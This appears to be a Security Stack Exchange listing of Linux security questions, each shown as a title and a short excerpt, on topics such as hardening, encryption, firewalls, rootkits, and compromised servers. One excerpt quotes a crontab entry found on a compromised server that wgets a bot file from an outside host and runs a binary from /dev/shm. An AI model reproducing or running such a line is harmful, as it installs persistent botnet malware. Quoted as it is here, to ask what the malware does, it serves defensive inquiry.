Securing Linux systems and applications; understanding Linux security features.

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2
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2answers
73 views

Ubuntu/Debian Is it okay to use a sudouser account as my primary on a workstation?

This question comes to you from the the common WindowsNT advice that "I", as the computer administrator, should login with a normal unprivileged user account for day to day use. Does this concept have ...
1
vote
0answers
85 views

Limit Packets Per Second

Since last week I have been seeing something fishy and it seems to be worsening. I tried many firewalls and they seem to be useless. I blocked all unwanted ports and only few ports are open so I found ...
2
votes
2answers
83 views

Can a virtual machine be used instead of the host?

I was thinking of using a Debian guest as my main 'host' instead of my actual host (Ubuntu). Do you think this will have any advantages in terms of making it difficult for digital forensics to ...
11
votes
3answers
3k views

Using TPM with DMcrypt?

Is it possible to use TPM for storage of some private key? It's not a full-disk encryption , I want it to be compatible with existing LUKS, just add another key, and store it in the TPM.
17
votes
5answers
8k views

How to prevent BadUSB attacks on linux desktop

What can I do to protect my linux laptop from BadUSB attacks as described here? Perhaps writing an appropriate apparmor profile would help?
9
votes
2answers
9k views

Is it possible to use the aircrack-ng tool to crack a WPA2 Enterprise network?

is this tool (aircrack-ng) capable of cracking into a WPA/WPA2 Enterprise network? This tool has major success cracking the passwords of WEP/WPA networks. If it can, how, but if not, is there another ...
10
votes
3answers
2k views

Which Linux kernel vulnerabilities allow installing a kernel-level rootkit?

My question is related to vulnerabilities that allow installing a Linux kernel-level rootkit (for example, to modify the execution flow inside the kernel; for return-oriented attacks; or to modify ...
0
votes
2answers
52 views

Ubuntu backup to only specific devices

I am looking into setting up a secure Ubuntu server with daily backups to two different external hard drives that will be swapped with the external hard drive that is stored in a safe deposit box. ...
7
votes
1answer
4k views

Benefits to BlackArch over Kali

Besides BlackArch having a cooler name and the whole Ubuntu vs. Arch Linux thing, what are the relative benefits of BlackArch over Kali? Are the tools broadly the same, or does one have better ...
15
votes
1answer
761 views

Linux /etc/shadow password change security

I wonder what happens what happens when I am changing my password on a Linux system. Basically all passwords are stored in a file called /etc/shadow or /etc/master.passwd in BSD-like systems as I do ...
0
votes
0answers
73 views

Blocking IP After multiple connection with Netsh advfirewall to mitigate DDos

Hello I wanna block Ip address if they exceed 20 connections with port 80 TCP for HTTP Server. I wanna do this using Netsh advfirewall, In Linux I use IPTables: iptables -I INPUT -p tcp --dport ...
1
vote
1answer
89 views

Domain socket authentication as in MySQL and PostgreSQL secure?

Are authentication mechanisms based on UNIX domain sockets (Linux) secure? And more specifically, are the respective MySQL and PostgreSQL implementations on Linux secure? The background for my ...
0
votes
0answers
33 views

how can I authenticate a process from kernel side?

I would like to authenticate and integrity check a single process before its execution. That authentication and integrity checks should be on kernel side for obvious reasons. I was thinking to add ...
-1
votes
2answers
105 views

Cannot get simple shellcode runner to work [closed]

I'm just trying to execute shellcode directly from the command line. I send a simple 0x90 NOP and get a segmentation fault? root@server:~# gcc shellcode.c -o shellrun -fno-stack-protector -z ...
6
votes
2answers
2k views

Hacked Ubuntu server, probably hacked commands (netstat, ps, …), how to replace them? [duplicate]

An Ubuntu server of my company has been hacked to carry out a DoS attack. I found the shellshock bug had not been fixed by my colleagues, and I think it's the problem. Then, I found an ELF file that ...
1
vote
3answers
79 views

Moving /boot to USB and Preventing booting from other USB devices (Allow boot from only one USB)

I'm going to move my /boot/ folder to a USB to as a security measure to protect against Full Disk Encryption exploits. My question is, is it possible to only allow boot from USB from a single USB ...
0
votes
0answers
105 views

How to add basicConstraints extention to a self signed certificate

Using openssl to create a self signed certificate. The certificate needs to have the Basic Constraints value defined and showing in the cert but I can't seem to be finding the right location to modify ...
1
vote
3answers
187 views

Removing a Redirect Virus from Fedora Linux

Despite several attempts listed below certain websites are getting redirected to a certain ad website automatically, out of the blue on linux. When some website starts redirecting to this ad website ...
4
votes
2answers
125 views

Do `sudo` and `su` belong to capability-based security?

In Linux, do sudo and su belong to Capability-based security ? For example, when editing a system file, we usually need sudo or su to temporarily switch to user root. Does this example belong to ...
-1
votes
1answer
90 views

how to gain root access to linux machine? [closed]

I am a security auditor and I have faced the following situation: A development company that has a group of Linux machines gives limited access to their users. They asked me to find out all the ...
0
votes
1answer
82 views

Joomla Linux Permissions

I installed Joomla 3 to /var/www/html directory in Cent OS 6 server. Currently /var/www/html is owned by apache:apache. What is the recommended permissions for Joomla installation on Linux in ...
7
votes
3answers
2k views

Security tradeoffs of pathname-based MAC (e.g., TOMOYO, grsecurity, AppArmor, …)

I have been learning about MAC (Mandatory Access Control) systems in Linux. Often, but not always, these are tied to Linux Security Modules. Some systems I've looked at: SELinux, Tomoyo, AppArmor, ...
1
vote
1answer
115 views

How to forbid one directory only in TOMOYO (2.5)?

(For example) I want to restrict write access to /home/backup from anybody, except a particular backup script. (To protect from accidental deletion.) For this, I suppose, it is enough to have two ...
0
votes
1answer
113 views

Is there an AES 256 LUKS encryption option in Fedora? [closed]

I have certain information on my drive that I don't want anyone (not even me ;) ) to gain access to. I read recently that Fedora only offers EAS 256 LUKS encryption. This just isn't secure enough ...
0
votes
1answer
151 views

iptables intercept received packet with proxy and then forward to destination

Lets say I receive internet through my eth1 port and share it via hotspot to other devices (wlan0 port) [internet]----(eth1)[my computer](wlan0 hotspot) | ...
2
votes
2answers
56 views

Are default ACL in Linux a security flaw?

I'm currently learning the Linux system and I have a question about the default Linux ACL. On my virtual machine, all files created are set with the default permissions as follows: -rw- rw- r-- ...
1
vote
1answer
64 views

Notifications (RSS or mailing list) of CVE with high scores for Windows and Red Hat? [closed]

I'm looking for a RSS feed or a mailing list that would allow me to be alerted of new CVEs impacting Windows or Red Hat that have a very high score, such as the recent ones for Shellshock and Winshock ...
0
votes
1answer
86 views

Do you really have to go to the extremes this guide says? [duplicate]

http://lifehacker.com/how-can-i-stay-anonymous-with-tor-1498876762 Alright, so here's a lifehacker guide on how to remain anonymous. Do you really have to go to this high level of extreme to remain ...
10
votes
3answers
2k views

Java SecureRandom doesn't block? How?

I know from experience that reading from /dev/random blocks when the Linux kernel entropy pool runs out of entropy. Also, I've seen many articles and blog entries stating that when running on Linux, ...
5
votes
3answers
908 views

What are the risks of making ether-wake available to all users?

The Linux ether-wake utility, which creates a magic packet to wake on lan another machine, requires root access: $ether-wake 12:34:56:78:9A:BC ether-wake: This program must be run as root. To give ...
2
votes
1answer
72 views

Downloading operating systems vulnerable to TCP amplification

I am doing a security research project on TCP amplification, and was looking to download vulnerable OS's for testing. From what I have researched mostly ancient linux kernels (2.0.x and below) and ...
4
votes
1answer
1k views

Can this be a DoS Attack?

When I'm checking my log, I found like 15k events of " PAM service(sshd) ignoring max retries; 6 > 3 " I know this might be normal, and considered as Brute-Force attack, but can it be classified as ...
25
votes
2answers
3k views

Do simple Linux servers really need a non-root user for security reasons?

Playing devil's advocate, Let's assume I purchase a Linux server from a hosting provider. I am given a password for the root user and am told I may login using SSH. The only purpose this server has ...
2
votes
1answer
78 views

Will setting a password for a linux login increase security?

I created a user that I use to login with using an SSL Key. I have not set a password. To be clear it is not an empty password, but an unset one. The /etc/shawdow has a single exclamation point ...
17
votes
6answers
3k views

How can I protect my computer from my potentially malicious colleagues?

So, I work in this small company (10 people) where we do stuff in programming, for various platforms. I started recently working there (2 months) right after I graduated. My work is not exactly ...
2
votes
2answers
139 views

Writing errors to Apache's log file from PHP - are there any pitfalls?

I'm updating an application to write slightly more verbose errors to the system log file (in this case, /var/log/apache2/mysite_error_log). I hope that I'm not asking the proverbial stupid question ...
12
votes
4answers
6k views

Is SecureShellz bot a virus? How does it work?

I'm using a development server in which I found this in the crontab: [...] * * * * * /dev/shm/tmp/.rnd >/dev/null 2>&1 @weekly wget http://stablehost.us/bots/regular.bot -O ...
4
votes
3answers
112 views

Specific Dangers in Joining a Linux Botnet?

Between the PHP-as-cgi-bin problem, and shellshock, I've seen 4 or 5 different Perl scripts that, when run, purport to make your machine part of some scary, heinous botnet. What, specifically, would ...
1
vote
0answers
70 views

Backdooring vulnerable lighttpd installed on wireless AP [closed]

I have an AP at home and I'm trying to secure it as much as I can. I found an bug by accident. My AP has 3 ports opened: 22/ssh 53/dns 8081/blackice - icecap What I found is that my port 8081 ...
2
votes
3answers
1k views

Open Source Vulnerability Scanner

I'm looking for an open source vulnerability scanner that I could install on one of my machines and point to all my others. Ideally, I'd be able to configure a nightly scan where all of my other nodes ...
3
votes
3answers
3k views

Besides OpenVas and Nessus, what are my other options for vulnerability detection?

I know of Nessus (which is $1300 for a pro feed) and OpenVAS (which I don't like). I use Linux so do I have any other options for vulnerability detection?
1
vote
0answers
71 views

IPtables accepting SMTP without being configured?

Well i was building a new server and inputed there some IPtables rules, i set postfix and send me an email to try it out, to my surprise the email reached perfectly without me declaring a rule for the ...
0
votes
1answer
110 views

Are these port secured on my AP?

I'm doing a project for my high-school and I'm trying to get the best security for my network. I've made almost everything in my access-point configuration and I have only 3 tcp/ports open on my AP: ...
2
votes
3answers
285 views

Postfix master running as root

Does running /usr/lib/postfix/master as a root could cause a security threat ? A fresh installation, gives this : root 11622 0.0 0.0 4792 1432 ? Ss 19:11 0:00 ...
4
votes
3answers
476 views

Security for home server, wiki

I recently set up my own home server, running Ubuntu linux. The intent I'm having for this is to have a private wiki for my family, so we can have a place to collect information like phone numbers, ...
2
votes
2answers
95 views

Encrypted container on top of a copy-on-write filesystem

The way I understand it, when you write to a copy-on-write filesystem, data never gets overwritten in place, instead new data is written to a new location, and the old data will only be overwritten ...
-3
votes
3answers
212 views

How to capture the traffic of a computer in my LAN?

I have a machine with the Windows 10 preview installed and I want to capture all the traffic it sends for a day and then block all the MS hosts it sent data to without my direct permission. I don't ...
0
votes
2answers
135 views

How would you set up a ‘cold’ netbook for master-key signing, large Bitcoin transactions, etc? [closed]

I've just ordered a cheap-o netbook on Amazon, with the intention of installing a Linux distro, and turning it into a permanently-offline high-security machine for sensitive tasks. However, I'm no ...
23
votes
11answers
4k views

One liner to create passwords in linux?

How do you create a readable password using bash with one line? What if i'm looking for 128 bits of entropy? EDIT By readable I mean the 94 printable ascii characters (without space). It can use ...
2
votes
3answers
105 views

Ping Input box on web server vulnerable to piped commands?

Scenario is this. I have logged into a web server as admin through the Login page in browser. it has displayed me with a home page of sorts that has an input box with a button next to it saying ...